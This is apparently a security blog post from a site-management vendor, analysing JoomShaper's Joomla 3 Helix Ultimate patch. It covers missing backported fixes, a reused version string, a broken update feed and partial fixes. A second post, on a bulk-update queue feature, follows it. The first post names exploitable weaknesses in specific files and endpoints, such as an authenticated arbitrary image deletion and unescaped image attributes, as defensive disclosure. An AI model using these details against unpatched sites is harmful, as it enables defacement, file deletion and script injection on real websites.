&lt;p&gt;That is a decent list, and the release notes describe what is in the package accurately. What they do not say is what is missing from it. JoomShaper also emailed customers the same day with a stated severity of High to Medium and told Joomla 3 users to download this package and install it by hand, which is the correct instruction and more communication than most Joomla extension vendors manage.&lt;/p&gt;
&lt;h2&gt;Three of the Twelve Fixes Did Not Reach Joomla 3&lt;/h2&gt;
&lt;p&gt;The Joomla 4, 5 and 6 release this package backports from, &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-2-2-10-security-release/&quot;&gt;Helix Ultimate 2.2.10&lt;/a&gt;, itemises twelve security fixes in its release notes. Nine of them are in the Joomla 3 build. Three are not.&lt;/p&gt;
&lt;p&gt;We checked this by downloading the July and August Joomla 3 packages and unpacking both, rather than reading either changelog, because the version string is no help here and the changelogs describe different products.&lt;/p&gt;
&lt;h3&gt;The Draft Cache Still Takes a Style’s Identity From the Request&lt;/h3&gt;
&lt;p&gt;On Joomla 4, 5 and 6, the function that writes a template style to the draft cache now looks the style up in the database by its ID and takes the template name from that record, stripped to letters, digits, underscores and hyphens. That matters because the stored name ends up in a filesystem path when the draft is read back. The Joomla 3 build still lifts &lt;code&gt;id&lt;/code&gt;, &lt;code&gt;template&lt;/code&gt;, &lt;code&gt;client_id&lt;/code&gt;, &lt;code&gt;home&lt;/code&gt; and &lt;code&gt;title&lt;/code&gt; out of the POST body, exactly as the July build did. The only change to that function since July is unrelated: five fields including &lt;code&gt;custom_css&lt;/code&gt; and &lt;code&gt;custom_js&lt;/code&gt; are now read raw, so custom CSS and JavaScript are still there after being drafted.&lt;/p&gt;
&lt;h3&gt;Frontend Article Saves Are Not Checked Against the Article&lt;/h3&gt;
&lt;p&gt;The mainline release added an ownership check to the hook that merges Helix’s own settings into an article when it is saved from the front end, so that a user has to be allowed to edit that specific article. The Joomla 3 build has the function that answers that question, &lt;code&gt;Helper::canEditArticle()&lt;/code&gt;, and calls it from exactly one place: the image removal endpoint. The article save hook does not call it. In the July build the function existed and nothing called it at all.&lt;/p&gt;
&lt;h3&gt;The Image Layouts Are Still Unescaped, and These Are the Joomla 3 Ones&lt;/h3&gt;
&lt;p&gt;This is the one that stings. In the main repository the fix went into &lt;code&gt;overrides_legacy&lt;/code&gt;, the layout set Helix Ultimate serves to Joomla 4 and below, changing &lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php echo $full_image; ?&amp;gt;&quot;&amp;gt;&lt;/code&gt; so the value runs through &lt;code&gt;htmlspecialchars&lt;/code&gt; first. The Joomla 3 package ships that same file at &lt;code&gt;overrides/layouts/joomla/content/full_image.php&lt;/code&gt;, identical apart from one unrelated line, and it is unchanged from July. &lt;code&gt;intro_image.php&lt;/code&gt; is the same story. The value written into the attribute is the article’s own &lt;code&gt;helix_ultimate_image&lt;/code&gt;, so anyone who can edit an article sets it. So the 2.2.10 package that Joomla 5 and 6 sites install contains the fixed files, and those sites never load them. The Joomla 3 package, whose sites do load them, ships the unfixed copy.&lt;/p&gt;
&lt;p&gt;None of the three is the headline flaw, and the bypass that is the headline flaw was backported properly. But a Joomla 3 site owner working from JoomShaper’s changelog has no way to tell that three of the twelve entries describe a package they were not given.&lt;/p&gt;
&lt;h2&gt;The Helix Ultimate Version Number Did Not Change, But the Code Did&lt;/h2&gt;
&lt;p&gt;We flagged the shape of this in July, when the first Joomla 3 patch went out. That post warned that the package patches files to a &lt;code&gt;2.1.4-j3sec&lt;/code&gt; baseline and then removes itself, so a patched site does not obviously look different from an unpatched one, and told people to write down what they patched because the version number would not tell them later. What has changed is that it has now happened four times. The same string covers four different payloads, so it can no longer separate a patched site from an unpatched one, or one patch round from another.&lt;/p&gt;
&lt;p&gt;The August release ships three files. One is the patch package, &lt;code&gt;helixultimate_j3_security_fixes_v1.0.2.zip&lt;/code&gt;, which went from 1.0.1 to 1.0.2 as you would expect. The other two are the framework itself: the system plugin and the starter template. Both of those are still called &lt;code&gt;2.1.4-j3sec&lt;/code&gt;, which is what the July release called them.&lt;/p&gt;
&lt;p&gt;The contents are different. We downloaded both releases, unpacked the system plugin from each, and compared the trees:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;$ diff -rq jul/plg_system_helixultimate aug/plg_system_helixultimate&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Files .../src/Platform/Blog.php differ&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Files .../src/Platform/Helper.php differ&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Files .../src/Platform/Media.php differ&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Files .../src/HttpResponse/Response.php differ&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Files .../src/fields/helixmegamenu.php differ&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Files .../layout/megaMenu/container.php differ&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;118 differences in total&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both of those packages declare &lt;code&gt;2.1.4-j3sec&lt;/code&gt;. One of them has the access-control bypass fixed and one does not, and nothing on the site can tell you which you have.&lt;/p&gt;
&lt;p&gt;A smaller oddity from the same check, offered as an observation rather than an accusation: the three files attached to the July release do not match the &lt;code&gt;SHA256SUMS&lt;/code&gt; published alongside them. The August release verifies cleanly. The likeliest explanation is that the checksum file was generated from a different build of the same source than the one uploaded, which is the sort of thing that happens when a release is assembled quickly.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Important&lt;/p&gt;
  &lt;p&gt;A version number is a promise that the same string means the same code. When a vendor breaks that promise on a security release, every automated check downstream inherits the mistake, including ours. Reusing a version string on changed files is worse than not shipping a fix, because it makes an unpatched site look patched.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How Many Joomla 3 Sites Are Affected?&lt;/h2&gt;
&lt;p&gt;We track every extension and its version on every Joomla and WordPress site in our customers’ accounts, which is how we can answer this rather than guess at it.&lt;/p&gt;
&lt;p&gt;Across the Joomla 3 sites we manage that run the Helix Ultimate system plugin, about four in ten report version &lt;code&gt;2.1.4-j3sec&lt;/code&gt;. The rest are spread across older builds, mostly the 1.1 and 2.0 lines, and some of those go back years. Those older sites never took a Joomla 3 patch at all, which is its own problem, and one made worse by our having wrongly told people in July that the patch would not install on them.&lt;/p&gt;
&lt;p&gt;Then we checked when each of those sites first reported that version string. Every one of them reported it before the August release went out. Not one site in the accounts we monitor has picked up the new build, which is unsurprising a few hours after publication. But it is the whole problem in one line: every site that reports the version number of the fixed build is running the code of the broken one.&lt;/p&gt;
&lt;h2&gt;Why Will Joomla Never Offer This Update?&lt;/h2&gt;
&lt;p&gt;Three separate things stop the update reaching a site, and they compound.&lt;/p&gt;
&lt;h3&gt;The Version Number Is Identical&lt;/h3&gt;
&lt;p&gt;Joomla’s updater asks whether the available version is newer than the installed one. &lt;code&gt;2.1.4-j3sec&lt;/code&gt; is not newer than &lt;code&gt;2.1.4-j3sec&lt;/code&gt;, so the answer is no, forever.&lt;/p&gt;
&lt;h3&gt;The Update Feed Still Points at July&lt;/h3&gt;
&lt;p&gt;JoomShaper’s &lt;a href=&quot;https://raw.githubusercontent.com/JoomShaper/helix-ultimate/security/j3-eol-security-fixes-v2.1.3/packages/helixultimate-j3-security/update.xml&quot;&gt;update feed&lt;/a&gt; has three entries. The patch package entry was correctly bumped to 1.0.2 today. The system plugin and template entries were not touched: both still declare &lt;code&gt;2.1.4-j3sec&lt;/code&gt; and both still link to the &lt;code&gt;j3-security-v1.0.0&lt;/code&gt; download from July. A site that does poll the feed is offered the old file.&lt;/p&gt;
&lt;h3&gt;The Patch Package Deletes Itself&lt;/h3&gt;
&lt;p&gt;This is the one that surprised us. The installer’s &lt;code&gt;postflight&lt;/code&gt; method ends by calling &lt;code&gt;uninstallPackage()&lt;/code&gt;, which removes the package’s own row from Joomla’s extensions table. The design intent is clear enough: apply the fixes, leave no permanent extension behind. The side effect is that Joomla loses the extension record and the update site along with it, so there is nothing left to check for a 1.0.2.&lt;/p&gt;
&lt;p&gt;Across every site in every account we monitor, the &lt;code&gt;helixultimatej3securityfixes&lt;/code&gt; package has never once been recorded as installed. Not on the sites that did apply it, which are sitting there reporting &lt;code&gt;2.1.4-j3sec&lt;/code&gt;. The package works exactly as designed and erases the evidence that it ran.&lt;/p&gt;
&lt;p&gt;That also means the advice in JoomShaper’s own July release notes cannot work. The 1.0.1 notes tell users to go to Extensions, then Manage, then Update. For the package those notes describe, there is nothing in that list to update.&lt;/p&gt;
&lt;p&gt;Today’s customer email gets this right, and tells Joomla 3 users to download the ZIP and install it by hand instead. That is the correct instruction. It is also the only one that can work, which is the part the email does not explain.&lt;/p&gt;
&lt;h2&gt;The Second Joomla 3 Patch Advertised a File It Did Not Serve&lt;/h2&gt;
&lt;p&gt;The July round has its own version of this problem, visible in the same feed.&lt;/p&gt;
&lt;p&gt;From 22 July to 27 August, the feed declared version &lt;code&gt;1.0.1&lt;/code&gt; for the patch package while the download URL underneath pointed at &lt;code&gt;helixultimate_j3_security_fixes_v1.0.0.zip&lt;/code&gt;. The 1.0.1 package existed and was attached to the GitHub release. The feed just never pointed at it.&lt;/p&gt;
&lt;p&gt;For five weeks, any site that was offered that update and took it downloaded the 14 July build. Joomla would have installed it, recorded version 1.0.0 from the manifest, and offered 1.0.1 again on the next check. Today’s release fixed the URL as a side effect of bumping it to 1.0.2, so the 1.0.1 package was effectively never distributed through the channel built to distribute it.&lt;/p&gt;
&lt;h2&gt;What the Helix Ultimate Patch Leaves Unfinished&lt;/h2&gt;
&lt;p&gt;We read the whole difference. Four things stop short of what the changelog claims.&lt;/p&gt;
&lt;p&gt;The image removal endpoint now checks that you are allowed to edit an article before it deletes a file. It takes the article ID from the request, and never checks that the file being deleted has anything to do with that article. An author who owns one article can pass that article’s ID along with the path to any image under the site’s media folders, and the check passes. The authorisation is real, but it is guarding the wrong thing.&lt;/p&gt;
&lt;p&gt;The Page Title fix escapes its background image URL twice, once into a cleaned variable and again on the way out. Any legitimate image URL containing an ampersand comes out mangled. It is a cosmetic bug rather than a security one, but it is a sign of how quickly this went out.&lt;/p&gt;
&lt;p&gt;The same background image pattern the Page Title feature just fixed is still there, unescaped, in the template’s main &lt;code&gt;index.php&lt;/code&gt;, where the body background and reading progress bar settings go straight into a stylesheet declaration. Those values can only be set by someone who can already edit template settings, so the risk is low. It does mean the escaping work was a spot fix on one file rather than a sweep across the framework.&lt;/p&gt;
&lt;p&gt;Finally, the release adds a &lt;code&gt;saveLicenseInfo&lt;/code&gt; function to the framework’s helper class, with a changelog bullet describing it as a security fix and a test asserting that its source code mentions the right database table. Nothing in the codebase calls it. It is dead code with a test that checks its spelling.&lt;/p&gt;
&lt;h2&gt;The July Flaws Did Get CVEs. This Round Has None Yet.&lt;/h2&gt;
&lt;p&gt;When we wrote about &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;Helix Ultimate 2.2.7&lt;/a&gt; in July we said no CVE had been assigned. That has since changed, and we have updated that post.&lt;/p&gt;
&lt;p&gt;The Joomla CNA assigned two numbers on 13 July 2026:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57829/&quot;&gt;CVE-2026-57829&lt;/a&gt;&lt;/strong&gt;, unauthenticated stored XSS in Helix Ultimate below 2.2.7. CVSS 4.0 base score 8.7, High.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57830/&quot;&gt;CVE-2026-57830&lt;/a&gt;&lt;/strong&gt;, unauthenticated arbitrary file deletion in Helix Ultimate below 2.2.7. CVSS 4.0 base score 8.8, High. NVD scored the same flaw 9.1 Critical under CVSS 3.1.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nothing has been assigned for the August round. We would read that as the paperwork not having caught up rather than a judgement on severity, and numbers can still be assigned later by a researcher or by the Joomla CNA. No CVE today is not the same as no CVE ever.&lt;/p&gt;
&lt;p&gt;Fifteen CVEs have been published against JoomShaper products, and eleven of them arrived in July and August 2026 alone, across SP Page Builder, EasyStore and Helix Ultimate. This is a vendor under sustained security scrutiny, doing a lot of remedial work at speed. The speed is showing in the delivery.&lt;/p&gt;
&lt;h2&gt;What Should You Do With Your Joomla 3 Helix Ultimate Sites?&lt;/h2&gt;
&lt;p&gt;Start by finding them, because most people underestimate how many they have. Every Joomla 3 site running the Helix Ultimate system plugin or the &lt;code&gt;shaper_helixultimate&lt;/code&gt; template needs this, and the sites most likely to be running it are the ones no one has logged into for two years.&lt;/p&gt;
&lt;p&gt;Then apply the current patch, whatever the version number says. Because you cannot tell from the outside whether a site has the August build, the safe assumption is that it does not. Download &lt;code&gt;helixultimate_j3_security_fixes_v1.0.2.zip&lt;/code&gt; from &lt;a href=&quot;https://github.com/JoomShaper/helix-ultimate/releases/tag/j3-security-v1.0.2&quot;&gt;the release&lt;/a&gt;, verify it against the published SHA256SUMS file, and install it through Extensions, then Install. Re-applying it to a site that already has the fixes is harmless.&lt;/p&gt;
&lt;p&gt;One change since the first Joomla 3 patch is worth knowing. That release would not install on older Helix builds, which left a lot of 1.1.x and 2.0.x sites with no vendor option at all. The current installer only rejects versions &lt;em&gt;above&lt;/em&gt; &lt;code&gt;2.1.4-j3sec&lt;/code&gt; and no longer enforces a lower bound, so older builds that were turned away in July will now accept it.&lt;/p&gt;
&lt;p&gt;After patching, check the site rather than assume. The access-control bypass exposed unlaunched sites and draft settings, and the mega menu write reached menus the user had no business touching. Look at your Joomla Users list for Super User accounts you do not recognise, review your mega menu and template settings for entries you did not add, and check your media folders for files you did not put there.&lt;/p&gt;
&lt;p&gt;Then keep the three missing fixes in mind, because patching does not deliver them. All three need an account on the site to reach, so the exposure is your author and editor accounts rather than the open internet. On a Joomla 3 site where article editing is limited to people you trust, that is a low risk to accept while you plan the migration. On one with open registration or a large contributor list, it is not.&lt;/p&gt;
&lt;h3&gt;Doing This Across an Account&lt;/h3&gt;
&lt;p&gt;If you look after more than a handful of Joomla sites, the finding part is the expensive bit, and it is what mySites.guru is for. Search for Helix Ultimate once in your mySites.guru account and you get every site running it, the version each one reports, and the Joomla version underneath, without logging into anything. That is the same inventory the figures earlier in this post came from.&lt;/p&gt;
&lt;p&gt;For Joomla 3 sites specifically, mySites.guru has a &lt;a href=&quot;https://mysites.guru/blog/patch-abandoned-joomshaper-joomla-3-extensions/&quot;&gt;one-click patch for the abandoned JoomShaper extensions&lt;/a&gt;. The &lt;strong&gt;Unpatched JoomShaper Security Holes&lt;/strong&gt; toggle in the &lt;strong&gt;Hacked?&lt;/strong&gt; section of a site’s Snapshot applies the fix logic in place, across Helix Ultimate, Helix3 and SP Page Builder, on every site in your account rather than one at a time. It takes a backup of the original files first, so switching it off restores them.&lt;/p&gt;
&lt;p&gt;Neither of those makes Joomla 3 supported again. Migration is still the only real answer, and everything here is a way of &lt;a href=&quot;https://joomla3security.com/options/#stay-and-patch&quot;&gt;holding a site safely&lt;/a&gt; while you get budget and sign-off for the move. If a Joomla 3 site has already been compromised, patching will not clean it: &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; handles that for a single fixed fee of GBP 120 per incident, usually same day, and we screen the site before committing so you are not charged in the rare case it cannot be fixed.&lt;/p&gt;
&lt;h2&gt;The Bottom Line&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://joomla3security.com/vendors/joomshaper/&quot;&gt;JoomShaper said it would ship no Joomla 3 security patches&lt;/a&gt; regardless of severity, and has now shipped three. That is the right outcome, arrived at awkwardly, and the code in this one is real work that closes a bypass anyone on the internet could have used. It stops three fixes short of the release it backports, and the shortfall is not written down anywhere.&lt;/p&gt;
&lt;p&gt;The delivery undermines it. A security fix that ships under the version number of the flaw it fixes cannot be detected, cannot be offered by the updater, and cannot be audited across a portfolio. Every Joomla 3 site running this framework reports a number that means two different things, and the only way to resolve the ambiguity is to patch it again and know for certain.&lt;/p&gt;
&lt;p&gt;If you manage Joomla sites for clients, find every Helix Ultimate install you look after and treat all of them as unpatched. Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site to see what your Joomla 3 exposure actually looks like.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-09&lt;/strong&gt; JoomShaper says Joomla 3 will get no security patches The announcement ends support for the Joomla 3 builds of every JoomShaper product, with one line doing the damage: no security patches, regardless of severity.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-15&lt;/strong&gt; The first Joomla 3 patch, six days later J3 Security Fixes 1.0.0 ships for Helix Ultimate, alongside Joomla 3 patches for Helix3 and SP Page Builder. The stated policy lasted under a week.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-22&lt;/strong&gt; The second patch, advertised but not delivered J3 Security Fixes 1.0.1 is released. The update feed declares version 1.0.1 while the download link still points at the 1.0.0 file, and it stays that way for five weeks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-27&lt;/strong&gt; The third patch, under the old version number J3 Security Fixes 1.0.2 backports hardening from Helix Ultimate 2.2.10. The patched plugin and template files change, but both keep the version string 2.1.4-j3sec that the July build already used.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-31&lt;/strong&gt; The fourth patch, four days later J3 Security Fixes 1.0.3 fixes an authorisation check we reported to JoomShaper on 27 August: the third patch checked whether the caller could edit an article, then deleted whatever file the caller named. The version string is still 2.1.4-j3sec.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/JoomShaper/helix-ultimate/releases/tag/j3-security-v1.0.3&quot;&gt;Helix Ultimate J3 Security Fixes v1.0.3&lt;/a&gt; - the current Joomla 3 release, and the one to install.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/JoomShaper/helix-ultimate/releases/tag/j3-security-v1.0.2&quot;&gt;Helix Ultimate J3 Security Fixes v1.0.2&lt;/a&gt; - the release this post is about, with JoomShaper&apos;s changelog and the download packages.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-2-2-10-security-release/&quot;&gt;Helix Ultimate 2.2.10&lt;/a&gt; - the same security work for Joomla 4, 5 and 6, which updates in the normal way.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57830/&quot;&gt;CVE-2026-57830&lt;/a&gt; - the unauthenticated arbitrary file deletion in Helix Ultimate below 2.2.7, assigned by the Joomla CNA in July.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57829/&quot;&gt;CVE-2026-57829&lt;/a&gt; - the unauthenticated stored XSS from the same round.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-joomla-3-security-patch-1-0-3/&quot;&gt;SP Page Builder&apos;s Joomla 3 patch reaches 1.0.3&lt;/a&gt; - the same standalone Joomla 3 patch pattern in a sibling JoomShaper product, where we found two more gaps and the vendor closed them.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5851-joomla-3-10-end-of-life.html&quot;&gt;Joomla 3.10 end of life&lt;/a&gt; - the official notice, and the reason none of this has a supported core underneath it.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomla3security.com/vendors/joomshaper/&quot;&gt;JoomShaper&apos;s Joomla 3 record&lt;/a&gt; - the no-patches policy, the reversal and every Joomla 3 patch package since, with sources.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>joomla 3</category><category>vulnerability</category><category>helix-ultimate</category><category>joomshaper</category><category>end-of-life</category><enclosure url="https://mysites.guru/img/og/blog/helix-ultimate-third-joomla-3-security-patch.png" length="0" type="image/png"/></item><item><title>Slower on purpose: the new Update Queue, and why it is off by default</title><link>https://mysites.guru/blog/update-queue-one-at-a-time-per-server/</link><guid isPermaLink="true">https://mysites.guru/blog/update-queue-one-at-a-time-per-server/</guid><description>Firing every update at once is what takes a shared server down. mySites.guru&apos;s new Update Queue runs one update at a time per server, off by default.</description><pubDate>Tue, 25 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Select every out-of-date site, click update, walk away. It is the whole point of managing sites from one dashboard, and for most people it works fine. The &lt;a href=&quot;https://mysites.guru/bulk-update-joomla/&quot;&gt;bulk update Joomla&lt;/a&gt; page covers the whole workflow.&lt;/p&gt;
&lt;p&gt;Then you get an account with a thousand sites on a single shared server, all of them selected, and the updates go out at once. The server does not come through that. On core updates it falls over under the load. On extension updates you can break an individual site instead, because two updates race inside the same install and neither expected company.&lt;/p&gt;
&lt;p&gt;The new &lt;strong&gt;Update Queue&lt;/strong&gt; fixes that by doing less at a time. It runs at most one update per server, and everything else waits its turn. It is opt-in, it is off unless you switch it on, and it will make your big batches take longer. That is the feature, not a side effect.&lt;/p&gt;
&lt;h2&gt;What actually goes wrong when you update everything at once&lt;/h2&gt;
&lt;p&gt;There are two separate failures here, and only one of them is about the server.&lt;/p&gt;
&lt;p&gt;Start with that one. A Joomla or WordPress core update is not a small job: download, extract, run the post-install work, hit the database. One of those is unremarkable. Several hundred at the same moment on one box is a load spike, and shared hosting is where the sites-per-server count is highest and the resource headroom is smallest. The server goes down and it takes every site on it with it, including the ones you were not touching.&lt;/p&gt;
&lt;p&gt;The other failure is the individual site. Two extension updates running against the same install at the same time can collide: both writing files, both touching the database, neither aware of the other. You end up with one site broken by its own maintenance.&lt;/p&gt;
&lt;h2&gt;What the Update Queue does&lt;/h2&gt;
&lt;p&gt;When queueing is on, every update you trigger joins a queue for the server that site lives on. One update runs, the rest wait, and the next starts the moment the previous one reaches a conclusion. It covers Joomla core, WordPress core, Joomla extensions and WordPress plugins, and it does not matter how you started the update: the dashboard, the API and the MCP tools all go through the same queue.&lt;/p&gt;
&lt;p&gt;You are not left guessing what it is doing. There is a progress bar in the header while a batch is running, a page showing each server with its running job and everything queued behind it, and anything that has not started yet can be cancelled.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru header bar with the update queue pill visible on the right. The pill shows a circular refresh icon, a progress bar roughly two thirds filled, and the counter 7 of 12, meaning seven of twelve queued updates have finished.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1608px) 1608px, 100vw&quot; width=&quot;1608&quot; height=&quot;166&quot; src=&quot;https://mysites.guru/_astro/update-queue-header-progress.BQBCCBQv_Z1pyWVl.webp&quot; srcset=&quot;https://mysites.guru/_astro/update-queue-header-progress.BQBCCBQv_hbPxi.webp 640w, https://mysites.guru/_astro/update-queue-header-progress.BQBCCBQv_Z1za1n.webp 750w, https://mysites.guru/_astro/update-queue-header-progress.BQBCCBQv_slaHz.webp 828w, https://mysites.guru/_astro/update-queue-header-progress.BQBCCBQv_Z82xvI.webp 1080w, https://mysites.guru/_astro/update-queue-header-progress.BQBCCBQv_ZdeRoh.webp 1280w, https://mysites.guru/_astro/update-queue-header-progress.BQBCCBQv_Z1pyWVl.webp 1608w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The pill only appears while there is something to watch. It counts finished updates against the size of the batch you started.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Three states of the update queue pill side by side. On the left, 0 of 12 with an empty bar, just after twelve updates were applied and the first has claimed its lane. In the middle, 7 of 12 with the bar partly filled while updates run. On the right, 11 of 12 with the bar nearly full and one update still running. The widget disappears once nothing is queued or running.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1618px) 1618px, 100vw&quot; width=&quot;1618&quot; height=&quot;316&quot; src=&quot;https://mysites.guru/_astro/update-queue-widget-states._YyQhxFS_E50wE.webp&quot; srcset=&quot;https://mysites.guru/_astro/update-queue-widget-states._YyQhxFS_1DEjjV.webp 640w, https://mysites.guru/_astro/update-queue-widget-states._YyQhxFS_1vDiHU.webp 750w, https://mysites.guru/_astro/update-queue-widget-states._YyQhxFS_ZJeF02.webp 828w, https://mysites.guru/_astro/update-queue-widget-states._YyQhxFS_1otcXt.webp 1080w, https://mysites.guru/_astro/update-queue-widget-states._YyQhxFS_Z1k64YC.webp 1280w, https://mysites.guru/_astro/update-queue-widget-states._YyQhxFS_E50wE.webp 1618w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Because one update of any kind runs per server at a time, you also get the same-site collision fixed for free. A core update and an extension update on one site cannot overlap, because they are both in the same lane.&lt;/p&gt;
&lt;h2&gt;One lane per server, not one queue for everything&lt;/h2&gt;
&lt;p&gt;The queue is not a single global line. It is one lane per server, so a slow update on one host never holds up a completely unrelated host. Ten servers means ten updates running at once, one on each.&lt;/p&gt;
&lt;p&gt;Hovering the pill opens the per-lane breakdown, so you can see which server is holding things up without leaving the page you are on.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;The update queue popover listing three lanes. The first, srv-104.hostingc..., shows 1 running and 4 queued. The second, web-01.exam..., shows 1 running, 2 queued and 1 failed in red. The third is labelled site #48213 and shows 3 queued, which is the per-site fallback used when the server hostname is not known. A View update queue link sits at the bottom.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1528px) 1528px, 100vw&quot; width=&quot;1528&quot; height=&quot;440&quot; src=&quot;https://mysites.guru/_astro/update-queue-lane-popover.DdDUOWqT_zRA4b.webp&quot; srcset=&quot;https://mysites.guru/_astro/update-queue-lane-popover.DdDUOWqT_1MSCGl.webp 640w, https://mysites.guru/_astro/update-queue-lane-popover.DdDUOWqT_NoVOu.webp 750w, https://mysites.guru/_astro/update-queue-lane-popover.DdDUOWqT_2a9Ha.webp 828w, https://mysites.guru/_astro/update-queue-lane-popover.DdDUOWqT_23cBkf.webp 1080w, https://mysites.guru/_astro/update-queue-lane-popover.DdDUOWqT_2ifj6o.webp 1280w, https://mysites.guru/_astro/update-queue-lane-popover.DdDUOWqT_zRA4b.webp 1528w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;That third row is the fallback in action. Where we cannot see a hostname, the site queues under its own id rather than being lumped in with everything else.&lt;/p&gt;
&lt;p&gt;The detail worth explaining is what identifies a server, because getting it wrong would have been worse than not building the feature. Lanes are keyed on &lt;strong&gt;your account plus the server hostname&lt;/strong&gt;, never the hostname on its own.&lt;/p&gt;
&lt;p&gt;Hostnames are not unique. Hosting companies hand out the same generic names again and again, so the same string turns up across customers who have nothing to do with each other. In our own data one such name appears on 340 sites belonging to unrelated people, and another on 403. (Both are real counts from our platform; we have changed the names here.) Had we keyed lanes on the hostname alone, one customer’s slow update would have blocked a stranger’s, and neither would have been able to work out why.&lt;/p&gt;
&lt;p&gt;About fifteen per cent of connected sites do not report a hostname at all. Those fall back to a lane of their own, per site, which is the cautious answer: it still prevents a site colliding with itself, and it never lets one unidentifiable site block anything else.&lt;/p&gt;
&lt;h2&gt;Why is it off by default?&lt;/h2&gt;
&lt;p&gt;Because queueing is slower, and most accounts do not need it.&lt;/p&gt;
&lt;p&gt;If you have a handful of sites, or your sites are spread across a lot of different hosts, they were never colliding in the first place. Turning queueing on for those accounts would mean waiting for a problem you do not have. It starts to matter somewhere around twenty or more sites on the same server, which is where “update everything” and “take the server down” become the same action.&lt;/p&gt;
&lt;p&gt;There is a version of this feature that ships on by default and makes every customer’s mass update slower to protect the minority who need it. We did not want to build that one. You know your own hosting, and whether your sites are stacked on one box or scattered across twenty, far better than we can infer it. So it is a switch, and it is yours.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;Queueing does not add artificial delay. A single update on an idle server is admitted immediately and starts within seconds, rather than waiting for the next tick of a timer. The waiting only appears when there is something ahead of you on that server.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How do I turn it on?&lt;/h2&gt;
&lt;p&gt;Go straight to &lt;a href=&quot;https://manage.mysites.guru/en/updates/queue&quot;&gt;manage.mysites.guru/en/updates/queue&lt;/a&gt;. You can also open &lt;strong&gt;Tools&lt;/strong&gt; and choose &lt;strong&gt;Update Queue&lt;/strong&gt;, or press Cmd+K and use the hotkey &lt;code&gt;u q&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;On that page, click &lt;strong&gt;Enable update queueing&lt;/strong&gt;. Three things happen: updates start queueing per server from that moment, the queue is starred in your menu so you can find it again, and the page starts showing you lanes instead of an explanation.&lt;/p&gt;
&lt;p&gt;The setting is company-wide rather than per-user, so it applies to everyone on the account rather than just the person who flipped it. If someone else on your team turns it on, your updates queue too.&lt;/p&gt;
&lt;p&gt;Switching it off is the same journey and takes effect immediately. Updates go back to applying the moment you ask for them, and past queue activity stays on the page.&lt;/p&gt;
&lt;h2&gt;What it does not do&lt;/h2&gt;
&lt;h3&gt;It does not retry failures&lt;/h3&gt;
&lt;p&gt;A failed update is marked failed, the error is kept and shown on the queue page, and the lane moves on to the next job. Nothing tries again on its own. An update that failed once usually fails the same way twice, and automatic retries on a half-finished update are how one broken site becomes several. Read the error, fix the cause, trigger it again yourself.&lt;/p&gt;
&lt;h3&gt;It does not reorder your work&lt;/h3&gt;
&lt;p&gt;Jobs run oldest first within their lane. There is no priority scheme to learn and nothing jumps the queue.&lt;/p&gt;
